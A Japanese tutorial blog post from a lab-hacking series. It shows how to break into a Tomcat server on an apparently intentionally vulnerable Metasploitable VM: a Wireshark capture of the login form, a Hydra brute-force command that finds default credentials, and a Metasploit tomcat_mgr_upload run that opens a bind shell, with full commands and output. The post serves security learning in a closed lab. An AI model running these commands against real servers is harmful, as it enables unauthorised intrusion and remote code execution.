開発日報

IT・WEB系備忘。日報は嘘です。

【連載】VirtualBox + Kali Linuxによるハッキング実験室 第5回 ~ WiresharkでTomcatを攻略する ~

はじめに

この連載ではVirtualBox + Kali Linuxを用いたハッキング実験を行います。今回は第5回です。
前回は辞書・総当たり形式で様々な形式のパスワード解析を行いました。
今回はwiresharkを使用してhttp解析を行いターゲット端末のtomcatへの侵入を試みます。

連載記事一覧

とりあえずターゲット端末のtomcatのTOP画面にアクセス

kali linuxfirefoxを起動し、http://【以前ターゲット端末に割り当てた静的IP】:8180にアクセスしてみましょう。tomcatのTOP画面が表示されます。

f:id:yuuu1993g:20191007234828p:plain

左のメニューの「Administration」の「TomcatAdministration」のリンクを押します。すると認証画面が表示されます。

f:id:yuuu1993g:20191008000533p:plain

WireSharktomcatとの通信を解析する

Wiresharkを起動し、認証に失敗する間だけパケットキャプチャします。ここではIDに"hoge"、パスワードに"1234"を入力しました。キャプチャした内容に対して、「FollowHTTPStream」を実行すると、次のようなHTTP要求を送信していることがわかります。

f:id:yuuu1993g:20191008002235p:plain

これでHydraに設定する情報が得られます。

・対象ホスト:192.168.56.3
・認証ページ:"/admin/j_security_check"
・データの送信方式:POSTメソッド⇒httpformpostを使用する
・ユーザー名の変数:j_username
・パスワードの変数:j_password

Hydraでtomcatの管理画面を突破する

とゆうわけで、以下のコマンドを実行してみましょう。 「Invalid username or password」とは管理画面に認証のリクエストを送って失敗した際に表示される文言です。

httpは認証前提のプロトコルではないため、認証の成否はレスポンス情報から判断します。

root@kali:~# hydra -L user.lst -P pass.lst -s 8180 192.168.56.3 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-10-07 11:39:30
[DATA] max 16 tasks per 1 server, overall 16 tasks, 80 login tries (l:8/p:10), ~5 tries per task
[DATA] attacking http-post-form://192.168.56.3:8180/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password
[8180][http-post-form] host: 192.168.56.3   login: tomcat   password: tomcat
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-07 11:39:35

実行結果から、このtomcatに侵入するためのID・PASSの組み合わせは「tomcat」「tomcat」であることがわかります。

実際に管理画面にログインすると以下の画面が表示されます。 この画面からユーザーの追加・削除・編集や、データベースの設定などができます。

f:id:yuuu1993g:20191008004553p:plain

Metasploitを使用してターゲットのシェルを奪取する

管理用のアカウントのユーザー名とパスワードがわかれば、Metasploitに用意されたモジュール("exploit/multi/http/tomcat_mgr_upload")を用いてシェルを奪取できます。

実際にやってみましょう。

root@kali:~# msfconsole

msf5 > grep exploit search tomcat
    (略)
   16  exploit/multi/http/tomcat_mgr_upload                         2009-11-09       excellent  Yes    Apache Tomcat Manager Authenticated Upload Code Execution
    (略)
msf5 > use exploit/multi/http/tomcat_mgr_upload

msf5 exploit(multi/http/tomcat_mgr_upload) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Java Universal
   1   Windows Universal
   2   Linux x86

msf5 exploit(multi/http/tomcat_mgr_upload) > set target 2
target => 2
msf5 exploit(multi/http/tomcat_mgr_upload) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf5 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
HttpUsername => tomcat
msf5 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
HttpPassword => tomcat
msf5 exploit(multi/http/tomcat_mgr_upload) > set RHOST 192.168.56.3
RHOST => 192.168.56.3
msf5 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8180
RPORT => 8180
msf5 exploit(multi/http/tomcat_mgr_upload) > show options

Module options (exploit/multi/http/tomcat_mgr_upload):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  tomcat           no        The password for the specified username
   HttpUsername  tomcat           no        The username to authenticate as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.56.3     yes       The target address range or CIDR identifier
   RPORT         8180             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /manager         yes       The URI path of the manager app (/html/upload and /undeploy will be used)
   VHOST                          no        HTTP server virtual host


Payload options (linux/x86/shell_bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  192.168.56.3     no        The target address


Exploit target:

   Id  Name
   --  ----
   2   Linux x86


msf5 exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying r4sS7VY87JLLg4kxjCHA...
[*] Executing r4sS7VY87JLLg4kxjCHA...
[*] Undeploying r4sS7VY87JLLg4kxjCHA ...
[*] Started bind TCP handler against 192.168.56.3:4444
[*] Command shell session 1 opened (192.168.56.2:40169 -> 192.168.56.3:4444) at 2019-10-07 11:54:13 -0400

whoami ← シェル奪取完了!
tomcat55
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

まとめ・次回

今回はwiresharkを使用してtomcatへのアクセスを解析・突破しました。 次回はディレクトリトラバーサルを実現します